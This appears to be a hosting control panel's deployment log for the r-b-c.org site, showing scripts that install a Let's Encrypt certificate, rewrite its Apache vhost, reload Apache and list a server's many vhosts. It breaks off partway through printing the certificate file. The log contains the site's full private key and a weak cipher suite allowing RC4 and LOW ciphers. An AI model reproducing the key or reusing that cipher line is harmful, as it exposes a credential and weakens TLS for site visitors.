cat > wvlBqwM17341ZdS8v8MqfXsTPQRhMewiAmP8fmq2HZ8 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
wvlBqwM17341ZdS8v8MqfXsTPQRhMewiAmP8fmq2HZ8.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 wvlBqwM17341ZdS8v8MqfXsTPQRhMewiAmP8fmq2HZ8
2025-09-06 06:00:36:
chmod 755 /tmp/pkp916603; /tmp/pkp916603; rm /tmp/pkp916603
2025-09-06 06:00:36:
2025-09-06 06:00:46: Establishing a connection
2025-09-06 06:00:46:
PUT: /tmp/pkp424842
#!/bin/bash
mkdir -p "/var/www/r-b-c_www/.well-known/acme-challenge/"
cd "/var/www/r-b-c_www/.well-known/acme-challenge/"
rm KXzSrwh0A_uAL2nE0b24cXFcGzji2zxZR0tGSVBKtT8
rm wvlBqwM17341ZdS8v8MqfXsTPQRhMewiAmP8fmq2HZ8
2025-09-06 06:00:46:
chmod 755 /tmp/pkp424842; /tmp/pkp424842; rm /tmp/pkp424842
2025-09-06 06:00:46:
2025-09-06 06:00:46: Establishing a connection
2025-09-06 06:00:46:
PUT: /tmp/pkp288619
#!/bin/bash
temp_file=$(mktemp)
TARGET=86d2c41eb90f4cb26f05730c2abdf7ea.crt
cat > $temp_file <<'endmsg'
ab:ef:f5:0d:50:72:72:98:3f:5d:82:a7:75:51:8f:b5
-----BEGIN CERTIFICATE-----
MIIE/jCCA+agAwIBAgISBeVWDfDFfgepMdwM12vYrZCZMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwOTA2MDUwMjEzWhcNMjUxMjA1MDUwMjEyWjAUMRIwEAYDVQQD
EwlyLWItYy5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCwc98N
yp5Jws6oz657OP6NgE7BjmxFnHu5LVDM5W6maHLsI1TcuwknYVALDyI8dzlkHb1j
XtO8+dJi248Ihl4XRfONRg4zKu8+0OmgdS3Pcd6hj5ZIpi6++9N8Xr2vl31p9fqQ
2SQIG752QY9ABTV9I+w6ekvPTOaB1hzuoAqoH8Ph8N0ghEwGHRuXoDAXdn0XYmgS
dDPcLFmfusimBJhbOz557GY+il1FJyHLBg1bq6QrqPdc4NeJj0tbllbhC6vfWF0Z
x3LK7mUgSuDESj3qTosRwVRord9XxrJilWFewVCVwEZRZBxN2pHzX0nnAJnfKH8L
e13uAvOEG7tXsDWrAgMBAAGjggIpMIICJTAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0l
BBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYE
FMyLtv3CuK4DziSx7PhUYqL44UlyMB8GA1UdIwQYMBaAFAC1KfItjm8x6JtMrXg+
+tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3IxMi5p
LmxlbmNyLm9yZy8wIwYDVR0RBBwwGoIJci1iLWMub3Jngg13d3cuci1iLWMub3Jn
MBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9y
MTIuYy5sZW5jci5vcmcvMjYuY3JsMIIBBQYKKwYBBAHWeQIEAgSB9gSB8wDxAHYA
7TxL1ugGwqSiAFfbyyTiOAHfUS/txIbFcA8g3bc+P+AAAAGZHZzdWwAABAMARzBF
AiEAuL0zVBxmeVyv6PCxxxUdYfGQMYSi5k+Er1wf1emo6z4CIFWba770f4uShjtB
vYe23jUneIFXhiBrpFOdHRJ1STpUAHcA3dzKNJXX4RYF55Uy+sef+D0cUN/bADoU
EnYKLKy7yCoAAAGZHZzldwAABAMASDBGAiEAmwKcsGD2JiWWaIb6grlQupxdZkXU
LDMP5X4bWzELhO4CIQC6LwzW3fgLyiljgKZksNpyFcsFpAc8QJM/qwB4ULwCwDAN
BgkqhkiG9w0BAQsFAAOCAQEAllQx8J9+FEnKTnZh/Ug+7RSpvASSheP8g9NZz0vm
abakYUfy5vNrfriwMXizRJe41pvHUwrAkvZx2VISFuVD67ADDWgPJRvB847LERdM
nDDpnX29GT+D5JiMkbs4aE1qAfEwj5L1/LWbNWX0NTbjAuC1Yv+ObGitCxjMZCYU
IwK1ETqmX+4DNZCeqzessIMFsPT8T4hi7izXxmZiY9s38PSlAqzsuh+AlRaxckA9
sFCb25psd02XI+tLNp0FqRkiP2KFO5NReJ4kIOIkHnWFG0aNY1ptBgdbfQjxtpE/
j6siWf5IHoIk/CsLMXZF/NwIppXx6E8g8Eej59yba/6Zcg==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQCwc98Nyp5Jws6o
z657OP6NgE7BjmxFnHu5LVDM5W6maHLsI1TcuwknYVALDyI8dzlkHb1jXtO8+dJi
248Ihl4XRfONRg4zKu8+0OmgdS3Pcd6hj5ZIpi6++9N8Xr2vl31p9fqQ2SQIG752
QY9ABTV9I+w6ekvPTOaB1hzuoAqoH8Ph8N0ghEwGHRuXoDAXdn0XYmgSdDPcLFmf
usimBJhbOz557GY+il1FJyHLBg1bq6QrqPdc4NeJj0tbllbhC6vfWF0Zx3LK7mUg
SuDESj3qTosRwVRord9XxrJilWFewVCVwEZRZBxN2pHzX0nnAJnfKH8Le13uAvOE
G7tXsDWrAgMBAAECggEAetB7jQ7dM3vK+YZr7EpUKssGhgQKaj0rhEz9M0/xvxNu
AdvpoiTwjx9VZg0niCx3nq5wdmy3NY4wmCw3lvhnHw3KIieDlKuqj+863TsSIpQg
IBVfxbsdSELhBWyv3Dq1yP2zZAQu5xHgdFDXUvkNLMfHEUCz6VqeCfqsco6kPDWP
zs3sRKiM9AuZ8K0GlICgyY+quY6FB6Ne57SizqAix7CgCZO5Y2b4bM/yXNbrqxAr
ehc8CY7HhiDieovHzHRgdzJ3X/p3/XGFUqsVy7GDjjCZWHIiBurGYEuUj+kPRnNl
3O8c/o7h65veuhyb6tBzPOx+FMXdjMFZ55HHJ6A1+QKBgQDbbcLN+4EUnbQvTSqD
ZIsXHvAmkQCdyWDf3je6SxDGiCJibpE6GrVnnnzhZKAT6nEAw0mzet8FEDPVCJ6N
43/Pcvxs4UbBf1LKNcIxHK1hc49vf0N0weUB58tl1PFdW12Cm0qt8P7v7iMiUI1c
dtVHkdkLtEqyYvss2bV2NIZF1wKBgQDN3HkFUHrgR+gUFdh4W051GwJdM1hlwdel
OM01AUUcIvY+vqq7I0kVFJyBntU6Qe+g3SnUryDHTmqHC8adY1P4PVuAxXh1rARK
ZaKPtK6Jxoi9SvYvYjL9ZgDfa+huzgIwpmZudgC5Q+Aq3rYf4j2ScQzfhQfg/uZy
eNWcoQ3sTQKBgQDBf0kJ2384btk13RZgR4lgGigr2jJw8eQ7hfoejZN9fw7TPi1S
z7qoZVo6aEHBTjvYMF4Np4yDKoaKlc870CIlDYELgpyihWS8bCuSo3dBOGaEK/WQ
QGtyArWaVu2BJdCQG+D/AkXNznGtENuXbjMlqbd8WsCEDkTwiAs88ZR2gQKBgQCb
pMvjVrvwgq1XMkUeinpBVBBvgvicxvhSNSYBo1orMcvYGLRhFQaWZ6UE45/3kg6p
I04TPe2cgw9L131tVcIQ9+MM80BmR45e6YUE/ejQxkhwRhLoNGi06cBTK/Tqgdtq
CQV9Er7tVAJSp1wvsxA2fj7raFtSo6Z8ehuXdrVeKQKBgQColxp3mnK4vuCsGP36
fpH4TDRThSX1kmrHEbz5RGBedJAkiH3rn5t//e6iKe7r4pSanuuqbYYL9BjADX5R
MuJbwUZArX9DiTCBDL7KnUyeLcs8yPAgFxehTLw7WWXE7zdlj05gCX66K4JWRKJR
KSjDGJqXS4N/LnlJMrOdAjRA6A==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-09-06 06:00:46:
chmod 755 /tmp/pkp288619; /tmp/pkp288619; rm /tmp/pkp288619
2025-09-06 06:00:46:
dir=/etc/ssl/certs
2025-09-06 06:00:46:
PUT: /tmp/pkp292727
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/r-b-c_www_org.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-09-06 06:00:46:
chmod 755 /tmp/pkp292727; /tmp/pkp292727; rm /tmp/pkp292727
2025-09-06 06:00:46:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/r-b-c_www_org.conf 37
<VirtualHost *:80>
ServerName r-b-c.org
ServerAlias www.r-b-c.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/r-b-c_www
<Directory /var/www/r-b-c_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/r-b-c/www_access.log combined
ErrorLog /var/log/apache2/r-b-c/www_error.log
SetEnv pkp_uid 59
SetEnv pkp_owner rbc
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName r-b-c.org
ServerAlias www.r-b-c.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/86d2c41eb90f4cb26f05730c2abdf7ea.crt
DocumentRoot /var/www/r-b-c_www
<Directory /var/www/r-b-c_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/r-b-c/www_secure_access.log combined
ErrorLog /var/log/apache2/r-b-c/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-09-06 06:00:46:
PUT: /tmp/pkp447796
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=r-b-c_www_org.conf
TARGET=/etc/apache2/sites-enabled/r-b-c_www_org.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName r-b-c.org
ServerAlias www.r-b-c.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/r-b-c_www
<Directory /var/www/r-b-c_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/r-b-c/www_access.log combined
ErrorLog /var/log/apache2/r-b-c/www_error.log
SetEnv pkp_uid 59
SetEnv pkp_owner rbc
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName r-b-c.org
ServerAlias www.r-b-c.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/86d2c41eb90f4cb26f05730c2abdf7ea.crt
DocumentRoot /var/www/r-b-c_www
<Directory /var/www/r-b-c_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/r-b-c/www_secure_access.log combined
ErrorLog /var/log/apache2/r-b-c/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/r-b-c_www_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/r-b-c_www_org.conf)= /etc/apache2//etc/apache2/sites-enabled/r-b-c_www_org.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/r-b-c_www_org.conf= 1'
fi
2025-09-06 06:00:46:
chmod 755 /tmp/pkp447796; /tmp/pkp447796; rm /tmp/pkp447796
2025-09-06 06:00:46:
2025-09-06 06:00:46:
PUT: /tmp/pkp674327
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-09-06 06:00:46:
chmod 755 /tmp/pkp674327; /tmp/pkp674327; rm /tmp/pkp674327
2025-09-06 06:00:47:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-09-06 06:00:47: Establishing a connection
2025-09-06 06:00:47:
PUT: /tmp/pkp300740
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-09-06 06:00:47:
chmod 755 /tmp/pkp300740; /tmp/pkp300740; rm /tmp/pkp300740
2025-09-06 06:00:47:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
alias www.baptizo.info
port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
alias www.bible-basics.info
port 80 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:2)
port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
alias www.biblebasicsonline.com
port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
alias www.carelinks-uk.org
port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
alias www.carelinks.org.uk
port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
alias www.carelinksoutreach.info
port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
alias www.christadelphianfraternal.info
port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
alias www.croydonchurch.info
port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
alias www.dalmenynaroomabushwalkers.info
port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
alias www.freebible.info
port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
alias www.maminas.info
port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
alias www.osnowybiblii.info
port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
alias www.r-b-c.org
port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
alias www.realchrist.info
port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
alias www.vards.info
*:443 is a NameVirtualHost
default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
alias www.baptizo.info
port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
alias www.bible-basics.info
port 443 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:24)
port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
alias www.biblebasicsonline.com
port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
alias www.carelinks-uk.org
port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
alias www.carelinks.org.uk
port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:19)
port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
alias www.carelinksoutreach.info
port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:19)
port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
alias www.christadelphianfraternal.info
port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
alias www.croydonchurch.info
port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
alias www.dalmenynaroomabushwalkers.info
port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
alias www.freebible.info
port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
alias www.maminas.info
port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
alias www.osnowybiblii.info
port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
alias www.r-b-c.org
port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
alias www.realchrist.info
port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
alias www.vards.info
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-09-06 06:00:47:
PUT: /tmp/pkp697433
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/r-b-c_www_org.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-09-06 06:00:47:
chmod 755 /tmp/pkp697433; /tmp/pkp697433; rm /tmp/pkp697433
2025-09-06 06:00:47:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/r-b-c_www_org.conf 1323
<VirtualHost *:80>
ServerName r-b-c.org
ServerAlias www.r-b-c.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/r-b-c_www
<Directory /var/www/r-b-c_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/r-b-c/www_access.log combined
ErrorLog /var/log/apache2/r-b-c/www_error.log
SetEnv pkp_uid 59
SetEnv pkp_owner rbc
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName r-b-c.org
ServerAlias www.r-b-c.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/86d2c41eb90f4cb26f05730c2abdf7ea.crt
DocumentRoot /var/www/r-b-c_www
<Directory /var/www/r-b-c_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/r-b-c/www_secure_access.log combined
ErrorLog /var/log/apache2/r-b-c/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-09-06 06:00:47:
PUT: /tmp/pkp366553
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/86d2c41eb90f4cb26f05730c2abdf7ea.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-09-06 06:00:47:
chmod 755 /tmp/pkp366553; /tmp/pkp366553; rm /tmp/pkp366553
2025-09-06 06:00:47:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/86d2c41eb90f4cb26f05730c2abdf7ea.crt 5357
ab:ef:f5:0d:50:72:72:98:3f:5d:82:a7:75:51:8f:b5
-----BEGIN CERTIFICATE-----
MIIE/jCCA+agAwIBAgISBeVWDfDFfgepMdwM12vYrZCZMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwOTA2MDUwMjEzWhcNMjUxMjA1MDUwMjEyWjAUMRIwEAYDVQQD
EwlyLWItYy5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCwc98N
yp5Jws6oz657OP6NgE7BjmxFnHu5LVDM5W6maHLsI1TcuwknYVALDyI8dzlkHb1j
XtO8+dJi248Ihl4XRfONRg4zKu8+0OmgdS3Pcd6hj5ZIpi6++9N8Xr2vl31p9fqQ
2SQIG752QY9ABTV9I+w6ekvPTOaB1hzuoAqoH8Ph8N0ghEwGHRuXoDAXdn0XYmgS
dDPcLFmfusimBJhbOz557GY+il1FJyHLBg1bq6QrqPdc4NeJj0tbllbhC6vfWF0Z
x3LK7mUgSuDESj3qTosRwVRord9XxrJilWFewVCVwEZRZBxN2pHzX0nnAJnfKH8L
e13uAvOEG7tXsDWrAgMBAAGjggIpMIICJTAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0l
BBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYE
FMyLtv3CuK4DziSx7PhUYqL44UlyMB8GA1UdIwQYMBaAFAC1KfItjm8x6JtMrXg+
